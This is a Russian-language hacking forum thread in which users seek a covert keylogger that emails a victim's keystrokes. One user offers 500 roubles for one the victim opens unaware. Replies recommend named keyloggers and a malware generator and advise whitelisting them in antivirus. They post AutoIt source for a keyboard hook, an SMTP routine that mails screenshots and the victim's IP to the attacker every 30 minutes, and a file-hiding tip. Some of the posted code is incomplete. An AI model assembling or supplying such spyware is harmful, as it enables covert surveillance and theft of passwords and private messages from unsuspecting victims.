Доброго времени суток всем!
Прошу подсказать в следуещем вопросе: Мне нужен кеилоггер, который бы грамотно захватывал нажатия клавиш, в том числе пробелы и другие символы!
Необязательно с отправкой по почте или ftp, но было бы тоже неплохо! Главное чтобы не виден был на компе!
Спасибо!
Кеилоггер
Сообщений 1 страница 14 из 14
Поделиться12011-09-03 21:16:50
Поделиться22011-09-03 21:43:18
INtello Вот попробуй Это
Поделиться32011-09-03 21:48:20
INtello можешь написать сам http://thehackword.ru/viewtopic.php?pid=1136#p1136 ,код там воопще по тихой подправить и добавить отправку на мыло.
А так попробуй вот эти: ExLogger Grieve Logger Public V4 SkyLogger V3.0 Генератор вредоносных программ GVDG Nexlogger v1.0
Все умеют отправлять логи вроде все на почту тянут,так же есть функция кейлогера в генераторе вирусов,( Генератор вредоносных программ GVDG ),только вот практически у всех есть трабла (вроде) с кирилицей,так что тут надо будет потестить какой из них самый нормальный.
В сети есть уйма кейлогеров,правда практически все кейлогеры уже давно паляться,что касается незаметности то наверное каждый кейлогер умеет прятаться.
Если есть прямой доступ к компьютеру то поищи КГБ (вроде) или актуал спай,они ловят норм но если стоит 7 то помимо того что надо будет добавить в довереные к антивирусу,нужно будет так же добавить в доверенные защитника виндоус.
________________________
Воопще ищи кейлогер который поновей,может найдёшь который ещё не палится.
Поделиться42011-09-09 10:23:13
Подскажите норм клавиатурный шпион с отправкой отчётов на мыло! на мыло! Плиз!!
Поделиться52011-09-09 12:13:15
Влад а глаза выше поднять не дано?))
Поделиться62012-03-10 11:33:10
кто сделает за 500 руб кейлоггер с отправкой нажатых клавиш на мое мыло тоесть я кидаю жертве файл она его открывает ярлык изчезает жертва нечего не подозревает и так же пишет все а то что пишет он приходит мне на мыло! кто напишет? ЖДУ ОТЗЫВА
Поделиться72012-03-10 13:10:09
WipMen
Подыми глаза немного выше на несколько постов там много вариантов и бесплатно.а если хочешь то можешь сам написать и писать нечего практически не нужно копипасти в Autoit и всё.
Сам кейлогер#include <Misc.au3>
HotKeySet("{ESC}", "OnAutoItExit")
_OnStart()Global Const $WH_KEYBOARD_LL = 13
Global $hStub_KeyProc = DllCallbackRegister("_Key_Proc", "int", "int;ptr;ptr")
Global $hMod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", $WH_KEYBOARD_LL, _
"ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0)MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.")
While 1
Sleep(100)
WEndFunc _EvaluateKey_Proc($nKeyCode)
Local $sSound
Local $sChar
;MsgBox(64,Chr($nKeyCode), $nKeyCode, 1) ;с помощью этого узнаем код нужной нам клавиши (только без shift, а то будет зависание)Switch $nKeyCode
Case 65 To 90, 48 To 57, 186 To 192, 219, 221, 222, 106, 13 ; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0, а код 106 соответствует клавише * на цифровой клавиатуре, 13 - код клавиши EnterSwitch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]"))
Case 0409 ;Если раскладка английская
If _IsPressed(10) Then ; если нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEngShift_Codes)
Else ; если не нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEng_Codes)
EndIf
$sSound = "en.wav"
Case 0419 ;Если расскладка русская
If _IsPressed(10) Then ; если нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRusShift_Codes)
Else ; если не нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRus_Codes)
EndIf
$sSound = "ru.wav"
Case 0422 ;Если расскладка украинская
If _IsPressed(10) Then ; если нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkrShift_Codes)
Else ; если не нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkr_Codes)
EndIf
$sSound = "ukr.wav"
EndSwitchToolTip($sChar, 0, 80)
SoundPlay($sSound) ;проигрывать звук при нажатии
Case Else ; если была нажата не буква и не цыфра, то выход из функции
ToolTip("", 0, 80)
Return
EndSwitch
EndFuncFunc _Key_Proc($nCode, $wParam, $lParam)
Local $aRet, $KEYHOOKSTRUCTIf $nCode < 0 Then
$aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
Return $aRet[0]
EndIfIf $wParam = 256 Then
$KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
_EvaluateKey_Proc(DllStructGetData($KEYHOOKSTRUCT, 1))
EndIf$aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
Return $aRet[0]
EndFunc;Функция для замены кодов нажатых клавиш с массива
Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array)
For $i = 1 To $aSearch_Array[0]
If $nKeyCode==$aSearch_Array[$i]Then
Return $aReplace_Array[$i]
EndIf
Next
EndFunc;функция позволяет узнать язык текущей расскладки клавиатуры
Func _WinGetKeyboardLayout($hWnd)
Local $aRet = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
$aRet = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $aRet[0])Return "0000" & Hex($aRet[0], 4)
EndFuncFunc OnAutoItExit()
If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc)
$hStub_KeyProc = 0
DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
If @HotKeyPressed <> "" Then Exit
EndFuncfunc _OnStart()
Global $aEng_Codes[49]
$aEng_Codes[0]=48 ;общее количество активных ячеек в массиве
$aEng_Codes[1]="`"
$aEng_Codes[2]="q"
$aEng_Codes[3]="w"
$aEng_Codes[4]="e"
$aEng_Codes[5]="r"
$aEng_Codes[6]="t"
$aEng_Codes[7]="y"
$aEng_Codes[8]="u"
$aEng_Codes[9]="i"
$aEng_Codes[10]="o"
$aEng_Codes[11]="p"
$aEng_Codes[12]="["
$aEng_Codes[13]="]"
$aEng_Codes[14]="a"
$aEng_Codes[15]="s"
$aEng_Codes[16]="d"
$aEng_Codes[17]="f"
$aEng_Codes[18]="g"
$aEng_Codes[19]="h"
$aEng_Codes[20]="j"
$aEng_Codes[21]="k"
$aEng_Codes[22]="l"
$aEng_Codes[23]=";"
$aEng_Codes[24]="'"
$aEng_Codes[25]="z"
$aEng_Codes[26]="x"
$aEng_Codes[27]="c"
$aEng_Codes[28]="v"
$aEng_Codes[29]="b"
$aEng_Codes[30]="n"
$aEng_Codes[31]="m"
$aEng_Codes[32]=","
$aEng_Codes[33]="."
$aEng_Codes[34]="/"
$aEng_Codes[35]="1"
$aEng_Codes[36]="2"
$aEng_Codes[37]="3"
$aEng_Codes[38]="4"
$aEng_Codes[39]="5"
$aEng_Codes[40]="6"
$aEng_Codes[41]="7"
$aEng_Codes[42]="8"
$aEng_Codes[43]="9"
$aEng_Codes[44]="0"
$aEng_Codes[45]="-"
$aEng_Codes[46]="="
$aEng_Codes[47]="*"
$aEng_Codes[48]="Enter"Global $aEngShift_Codes[49]
$aEngShift_Codes[0]=48
$aEngShift_Codes[1]="~"
$aEngShift_Codes[2]="Q"
$aEngShift_Codes[3]="W"
$aEngShift_Codes[4]="E"
$aEngShift_Codes[5]="R"
$aEngShift_Codes[6]="T"
$aEngShift_Codes[7]="Y"
$aEngShift_Codes[8]="U"
$aEngShift_Codes[9]="I"
$aEngShift_Codes[10]="O"
$aEngShift_Codes[11]="P"
$aEngShift_Codes[12]="{"
$aEngShift_Codes[13]="}"
$aEngShift_Codes[14]="A"
$aEngShift_Codes[15]="S"
$aEngShift_Codes[16]="D"
$aEngShift_Codes[17]="F"
$aEngShift_Codes[18]="G"
$aEngShift_Codes[19]="H"
$aEngShift_Codes[20]="J"
$aEngShift_Codes[21]="K"
$aEngShift_Codes[22]="L"
$aEngShift_Codes[23]=":"
$aEngShift_Codes[24]='"'
$aEngShift_Codes[25]="Z"
$aEngShift_Codes[26]="X"
$aEngShift_Codes[27]="C"
$aEngShift_Codes[28]="V"
$aEngShift_Codes[29]="B"
$aEngShift_Codes[30]="N"
$aEngShift_Codes[31]="M"
$aEngShift_Codes[32]="<"
$aEngShift_Codes[33]=">"
$aEngShift_Codes[34]="?"
$aEngShift_Codes[35]="!"
$aEngShift_Codes[36]="@"
$aEngShift_Codes[37]="#"
$aEngShift_Codes[38]="$"
$aEngShift_Codes[39]="%"
$aEngShift_Codes[40]="^"
$aEngShift_Codes[41]="&"
$aEngShift_Codes[42]="*"
$aEngShift_Codes[43]="("
$aEngShift_Codes[44]=")"
$aEngShift_Codes[45]="_"
$aEngShift_Codes[46]="+"
$aEngShift_Codes[47]="*"
$aEngShift_Codes[48]="Enter"Global $aRus_Codes[49]
$aRus_Codes[0]=48
$aRus_Codes[1]="ё"
$aRus_Codes[2]="й"
$aRus_Codes[3]="ц"
$aRus_Codes[4]="у"
$aRus_Codes[5]="к"
$aRus_Codes[6]="е"
$aRus_Codes[7]="н"
$aRus_Codes[8]="г"
$aRus_Codes[9]="ш"
$aRus_Codes[10]="щ"
$aRus_Codes[11]="з"
$aRus_Codes[12]="х"
$aRus_Codes[13]="ъ"
$aRus_Codes[14]="ф"
$aRus_Codes[15]="ы"
$aRus_Codes[16]="в"
$aRus_Codes[17]="а"
$aRus_Codes[18]="п"
$aRus_Codes[19]="р"
$aRus_Codes[20]="о"
$aRus_Codes[21]="л"
$aRus_Codes[22]="д"
$aRus_Codes[23]="ж"
$aRus_Codes[24]="э"
$aRus_Codes[25]="я"
$aRus_Codes[26]="ч"
$aRus_Codes[27]="с"
$aRus_Codes[28]="м"
$aRus_Codes[29]="и"
$aRus_Codes[30]="т"
$aRus_Codes[31]="ь"
$aRus_Codes[32]="б"
$aRus_Codes[33]="ю"
$aRus_Codes[34]="."
$aRus_Codes[35]="1"
$aRus_Codes[36]="2"
$aRus_Codes[37]="3"
$aRus_Codes[38]="4"
$aRus_Codes[39]="5"
$aRus_Codes[40]="6"
$aRus_Codes[41]="7"
$aRus_Codes[42]="8"
$aRus_Codes[43]="9"
$aRus_Codes[44]="0"
$aRus_Codes[45]="-"
$aRus_Codes[46]="="
$aRus_Codes[47]="*"
$aRus_Codes[48]="Enter"Global $aRusShift_Codes[49]
$aRusShift_Codes[0]=48
$aRusShift_Codes[1]="Ё"
$aRusShift_Codes[2]="Й"
$aRusShift_Codes[3]="Ц"
$aRusShift_Codes[4]="У"
$aRusShift_Codes[5]="К"
$aRusShift_Codes[6]="Е"
$aRusShift_Codes[7]="Н"
$aRusShift_Codes[8]="Г"
$aRusShift_Codes[9]="Ш"
$aRusShift_Codes[10]="Щ"
$aRusShift_Codes[11]="З"
$aRusShift_Codes[12]="Х"
$aRusShift_Codes[13]="Ъ"
$aRusShift_Codes[14]="Ф"
$aRusShift_Codes[15]="Ы"
$aRusShift_Codes[16]="В"
$aRusShift_Codes[17]="А"
$aRusShift_Codes[18]="П"
$aRusShift_Codes[19]="Р"
$aRusShift_Codes[20]="О"
$aRusShift_Codes[21]="Л"
$aRusShift_Codes[22]="Д"
$aRusShift_Codes[23]="Ж"
$aRusShift_Codes[24]="Э"
$aRusShift_Codes[25]="Я"
$aRusShift_Codes[26]="Ч"
$aRusShift_Codes[27]="С"
$aRusShift_Codes[28]="М"
$aRusShift_Codes[29]="И"
$aRusShift_Codes[30]="Т"
$aRusShift_Codes[31]="Ь"
$aRusShift_Codes[32]="Б"
$aRusShift_Codes[33]="Ю"
$aRusShift_Codes[34]=","
$aRusShift_Codes[35]="!"
$aRusShift_Codes[36]='"'
$aRusShift_Codes[37]="№"
$aRusShift_Codes[38]=";"
$aRusShift_Codes[39]="%"
$aRusShift_Codes[40]=":"
$aRusShift_Codes[41]="?"
$aRusShift_Codes[42]="*"
$aRusShift_Codes[43]="("
$aRusShift_Codes[44]=")"
$aRusShift_Codes[45]="_"
$aRusShift_Codes[46]="+"
$aRusShift_Codes[47]="*"
$aRusShift_Codes[48]="Enter"Global $aUkr_Codes[49]
$aUkr_Codes[0]=48
$aUkr_Codes[1]="'"
$aUkr_Codes[2]="й"
$aUkr_Codes[3]="ц"
$aUkr_Codes[4]="у"
$aUkr_Codes[5]="к"
$aUkr_Codes[6]="е"
$aUkr_Codes[7]="я"
$aUkr_Codes[8]="г"
$aUkr_Codes[9]="ш"
$aUkr_Codes[10]="щ"
$aUkr_Codes[11]="з"
$aUkr_Codes[12]="х"
$aUkr_Codes[13]="ї"
$aUkr_Codes[14]="ф"
$aUkr_Codes[15]="і"
$aUkr_Codes[16]="в"
$aUkr_Codes[17]="а"
$aUkr_Codes[18]="п"
$aUkr_Codes[19]="р"
$aUkr_Codes[20]="о"
$aUkr_Codes[21]="л"
$aUkr_Codes[22]="д"
$aUkr_Codes[23]="ж"
$aUkr_Codes[24]="є"
$aUkr_Codes[25]="н"
$aUkr_Codes[26]="ч"
$aUkr_Codes[27]="с"
$aUkr_Codes[28]="м"
$aUkr_Codes[29]="и"
$aUkr_Codes[30]="т"
$aUkr_Codes[31]="ь"
$aUkr_Codes[32]="б"
$aUkr_Codes[33]="ю"
$aUkr_Codes[34]="."
$aUkr_Codes[35]="1"
$aUkr_Codes[36]="2"
$aUkr_Codes[37]="3"
$aUkr_Codes[38]="4"
$aUkr_Codes[39]="5"
$aUkr_Codes[40]="6"
$aUkr_Codes[41]="7"
$aUkr_Codes[42]="8"
$aUkr_Codes[43]="9"
$aUkr_Codes[44]="0"
$aUkr_Codes[45]="-"
$aUkr_Codes[46]="="
$aUkr_Codes[47]="*"
$aUkr_Codes[48]="Enter"Global $aUkrShift_Codes[49]
$aUkrShift_Codes[0]=48
$aUkrShift_Codes[1]="’"
$aUkrShift_Codes[2]="Й"
$aUkrShift_Codes[3]="Ц"
$aUkrShift_Codes[4]="У"
$aUkrShift_Codes[5]="К"
$aUkrShift_Codes[6]="Е"
$aUkrShift_Codes[7]="Я"
$aUkrShift_Codes[8]="Г"
$aUkrShift_Codes[9]="Ш"
$aUkrShift_Codes[10]="Щ"
$aUkrShift_Codes[11]="З"
$aUkrShift_Codes[12]="Х"
$aUkrShift_Codes[13]="Ї"
$aUkrShift_Codes[14]="Ф"
$aUkrShift_Codes[15]="І"
$aUkrShift_Codes[16]="В"
$aUkrShift_Codes[17]="А"
$aUkrShift_Codes[18]="П"
$aUkrShift_Codes[19]="Р"
$aUkrShift_Codes[20]="О"
$aUkrShift_Codes[21]="Л"
$aUkrShift_Codes[22]="Д"
$aUkrShift_Codes[23]="Ж"
$aUkrShift_Codes[24]="Є"
$aUkrShift_Codes[25]="Н"
$aUkrShift_Codes[26]="Ч"
$aUkrShift_Codes[27]="С"
$aUkrShift_Codes[28]="М"
$aUkrShift_Codes[29]="И"
$aUkrShift_Codes[30]="Т"
$aUkrShift_Codes[31]="Ь"
$aUkrShift_Codes[32]="Б"
$aUkrShift_Codes[33]="Ю"
$aUkrShift_Codes[34]=","
$aUkrShift_Codes[35]="!"
$aUkrShift_Codes[36]='"'
$aUkrShift_Codes[37]="№"
$aUkrShift_Codes[38]=";"
$aUkrShift_Codes[39]="%"
$aUkrShift_Codes[40]=":"
$aUkrShift_Codes[41]="?"
$aUkrShift_Codes[42]="*"
$aUkrShift_Codes[43]="("
$aUkrShift_Codes[44]=")"
$aUkrShift_Codes[45]="_"
$aUkrShift_Codes[46]="+"
$aUkrShift_Codes[47]="*"
$aUkrShift_Codes[48]="Enter"
;
Global $aCapture_Codes[49]
$aCapture_Codes[0]=48 ;общее кол. акт. ячеек массива
$aCapture_Codes[1]=192
$aCapture_Codes[2]=81
$aCapture_Codes[3]=87
$aCapture_Codes[4]=69
$aCapture_Codes[5]=82
$aCapture_Codes[6]=84
$aCapture_Codes[7]=89
$aCapture_Codes[8]=85
$aCapture_Codes[9]=73
$aCapture_Codes[10]=79
$aCapture_Codes[11]=80
$aCapture_Codes[12]=219
$aCapture_Codes[13]=221
$aCapture_Codes[14]=65
$aCapture_Codes[15]=83
$aCapture_Codes[16]=68
$aCapture_Codes[17]=70
$aCapture_Codes[18]=71
$aCapture_Codes[19]=72
$aCapture_Codes[20]=74
$aCapture_Codes[21]=75
$aCapture_Codes[22]=76
$aCapture_Codes[23]=186
$aCapture_Codes[24]=222
$aCapture_Codes[25]=90
$aCapture_Codes[26]=88
$aCapture_Codes[27]=67
$aCapture_Codes[28]=86
$aCapture_Codes[29]=66
$aCapture_Codes[30]=78
$aCapture_Codes[31]=77
$aCapture_Codes[32]=188
$aCapture_Codes[33]=190
$aCapture_Codes[34]=191
$aCapture_Codes[35]=49
$aCapture_Codes[36]=50
$aCapture_Codes[37]=51
$aCapture_Codes[38]=52
$aCapture_Codes[39]=53
$aCapture_Codes[40]=54
$aCapture_Codes[41]=55
$aCapture_Codes[42]=56
$aCapture_Codes[43]=57
$aCapture_Codes[44]=48
$aCapture_Codes[45]=189
$aCapture_Codes[46]=187
$aCapture_Codes[47]=106 ;* на цифровой клавиатуре
$aCapture_Codes[48]=13 ;Код клавиши Enter
EndFuncФункция отправки#NoTrayIcon
#include <ScreenCapture.au3>
#include <File.au3>
#include <Inet.au3>;Заполнить
$SmtpServer = "smtp.yandex.ru" ; адрес SMTP сервера
$FromName = "ScreenSender" ; имя отправителя
$FromAddress = "логин@yandex.ru" ; адрес отправителя
$ToAddress = "логин@yandex.ru" ; адрес получателя
$Subject = "Новый Скрин..." ; тема письма
$AttachFiles = $sFile
$sText= _GetIP() ;вот в этой переменной пишется IP
$CcAddress = ""
$BccAddress = ""
$Importance = "Normal" ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low"
$Username = "логин@yandex.ru" ; имя отправителя
$Password = "пароль" ; пас отпрвителя
$IPPort = 587 ; порт можно 25,ну и так норм отправляет
$ssl = 0 ;сокет
;~ $IPPort=465; GMAIL порт$i =0
While $i <= 1 ; создаем условие который всегда правильный и скрипт будет работать бесконечно ))))Sleep(1000*60*30) ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 30 минут )
$var = Ping("www.google.com",250) ; проверяем на наличие интернета если инет есть то скрипт приступает к работе
If @error = 0 Then
_ImageResize()
EndIfWEnd
; функция отправки
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
Local $objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~ ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
If FileExists($S_Files2Attach[$x]) Then
ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
$objEmail.AddAttachment($S_Files2Attach[$x])
Else
ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
SetError(1)
Return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
If Number($IPPort) = 0 then $IPPort = 25
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
If $ssl Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Set Email Importance
Switch $s_Importance
Case "High"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
Case "Normal"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
Case "Low"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
EndSwitch
$objEmail.Fields.Update
; Sent the Message
$objEmail.Send
If @error Then
SetError(2)
Return $oMyRet[1]
EndIf
$objEmail=""
EndFunc ;==>_INetSmtpMailComИ по мелочиФункцию отправки можно вызвать "_INetSmtpMailCom($SmtpServer,$FromName,$FromAddress,$ToAddress,$Subject,$sText,$AttachFiles,$CcAddress,$BccAddress,$Importance,$Username,$Password,$IPPort,$ssl)"
и атребуты скрытый FileSetAttrib ( @ScriptName, "+SRAH")
От тебя только собрать.
Отредактировано hd4870 (2012-03-10 14:56:43)
Поделиться82012-03-10 14:40:43
собрал выдает ошибку
#include <Misc.au3> HotKeySet("{ESC}", "OnAutoItExit") _OnStart() #NoTrayIcon #include <ScreenCapture.au3> #include <File.au3> #include <Inet.au3> ;Заполнить $sFile = "scrin.jpg" $SmtpServer = "smtp.yandex.ru" ; адрес SMTP сервера $FromName = "ScreenSender" ; имя отправителя $FromAddress = "логин@yandex.ru" ; адрес отправителя $ToAddress = "логин@yandex.ru" ; адрес получателя $Subject = "Новый Скрин..." ; тема письма $AttachFiles = $sFile $sText= _GetIP() ;вот в этой переменной пишется IP $CcAddress = "" $BccAddress = "" $Importance = "Normal" ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low" $Username = "логин@yandex.ru" ; имя отправителя $Password = "пароль" ; пас отпрвителя $IPPort = 587 ; порт можно 25,ну и так норм отправляет $ssl = 0 ;сокет ;~ $IPPort=465; GMAIL порт $i =0 While $i <= 1 ; создаем условие который всегда правильный и скрипт будет работать бесконечно )))) Sleep(1000*60*30) ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 30 минут ) $var = Ping("www.google.com",250) ; проверяем на наличие интернета если инет есть то скрипт приступает к работе If @error = 0 Then _ImageResize() EndIf WEnd ; функция отправки Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0) Local $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body & @CRLF EndIf If $s_AttachFiles <> "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x]) ;~ ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console If FileExists($S_Files2Attach[$x]) Then ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF) $objEmail.AddAttachment($S_Files2Attach[$x]) Else ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF) SetError(1) Return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer If Number($IPPort) = 0 then $IPPort = 25 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Set Email Importance Switch $s_Importance Case "High" $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High" Case "Normal" $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal" Case "Low" $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low" EndSwitch $objEmail.Fields.Update ; Sent the Message $objEmail.Send If @error Then SetError(2) Return $oMyRet[1] EndIf $objEmail="" EndFunc ;==>_INetSmtpMailCom Global Const $WH_KEYBOARD_LL = 13 Global $hStub_KeyProc = DllCallbackRegister("_Key_Proc", "int", "int;ptr;ptr") Global $hMod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0) Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", $WH_KEYBOARD_LL, _ "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0) MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.") While 1 Sleep(100) WEnd Func _EvaluateKey_Proc($nKeyCode) Local $sSound Local $sChar ;MsgBox(64,Chr($nKeyCode), $nKeyCode, 1) ;с помощью этого узнаем код нужной нам клавиши (только без shift, а то будет зависание) Switch $nKeyCode Case 65 To 90, 48 To 57, 186 To 192, 219, 221, 222, 106, 13 ; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0, а код 106 соответствует клавише * на цифровой клавиатуре, 13 - код клавиши Enter Switch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]")) Case 0409 ;Если раскладка английская If _IsPressed(10) Then ; если нажата клавиша Shift $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEngShift_Codes) Else ; если не нажата клавиша Shift $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEng_Codes) EndIf $sSound = "en.wav" Case 0419 ;Если расскладка русская If _IsPressed(10) Then ; если нажата клавиша Shift $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRusShift_Codes) Else ; если не нажата клавиша Shift $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRus_Codes) EndIf $sSound = "ru.wav" Case 0422 ;Если расскладка украинская If _IsPressed(10) Then ; если нажата клавиша Shift $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkrShift_Codes) Else ; если не нажата клавиша Shift $sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkr_Codes) EndIf $sSound = "ukr.wav" EndSwitch ToolTip($sChar, 0, 80) SoundPlay($sSound) ;проигрывать звук при нажатии Case Else ; если была нажата не буква и не цыфра, то выход из функции ToolTip("", 0, 80) Return EndSwitch EndFunc Func _Key_Proc($nCode, $wParam, $lParam) Local $aRet, $KEYHOOKSTRUCT If $nCode < 0 Then $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam) Return $aRet[0] EndIf If $wParam = 256 Then $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam) _EvaluateKey_Proc(DllStructGetData($KEYHOOKSTRUCT, 1)) EndIf $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam) Return $aRet[0] EndFunc ;Функция для замены кодов нажатых клавиш с массива Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array) For $i = 1 To $aSearch_Array[0] If $nKeyCode==$aSearch_Array[$i]Then Return $aReplace_Array[$i] EndIf Next EndFunc ;функция позволяет узнать язык текущей расскладки клавиатуры Func _WinGetKeyboardLayout($hWnd) Local $aRet = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0) $aRet = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $aRet[0]) Return "0000" & Hex($aRet[0], 4) EndFunc Func OnAutoItExit() If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc) $hStub_KeyProc = 0 DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0]) If @HotKeyPressed <> "" Then Exit EndFunc func _OnStart() Global $aEng_Codes[49] $aEng_Codes[0]=48 ;общее количество активных ячеек в массиве $aEng_Codes[1]="`" $aEng_Codes[2]="q" 